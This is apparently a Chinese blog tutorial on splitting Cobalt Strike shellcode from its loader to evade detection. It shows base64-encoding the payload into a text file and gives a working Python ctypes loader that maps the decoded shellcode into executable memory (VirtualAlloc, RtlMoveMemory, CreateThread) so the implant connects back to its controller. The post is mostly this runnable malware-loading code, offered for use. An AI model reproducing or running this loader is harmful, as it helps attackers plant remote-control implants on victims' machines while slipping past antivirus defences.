无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
石头猫灯1 天前
WordPress wp2shell 漏洞链完整拆解流程
网络·数据结构·安全·web安全
网安蟹佬霸1 天前
OSINT开源情报收集实战:从信息搜集到资产测绘(2026最新万字保姆级指南)
前端·网络·安全·web安全·网络安全·开源
ltl1 天前
TLS 1.3 工程实践:1-RTT 与 0-RTT 的安全权衡
安全
mennekes1 天前
数据中心安全配电设备如何选择?
运维·人工智能·科技·安全·制造
Flynt1 天前
就编译了一下代码,浏览器密码没了——Rust 生态遭遇史上最狠供应链攻击
安全·rust·开源
恒拓高科WorkPlus1 天前
私有化视频会议:BeeWorks Meet让企业会议更安全、更协同
安全
Hrain-AI1 天前
企业 Agent 运行时护栏:独立安全层四道防线设计与落地
人工智能·安全·架构
嘟哩DuliDuli1 天前
AI 短剧生成为什么要有角色库、场景库和镜头卡
android·人工智能·安全·ai·软件工程
高工智能汽车1 天前
新石器发布行业首个L4无人车安全智能体“玄武“,升级规模化安全运营体系
安全
Arnold.Shen2 天前
Dell Storage SC - 如何发送SupportAssist,并启用安全控制台
linux·安全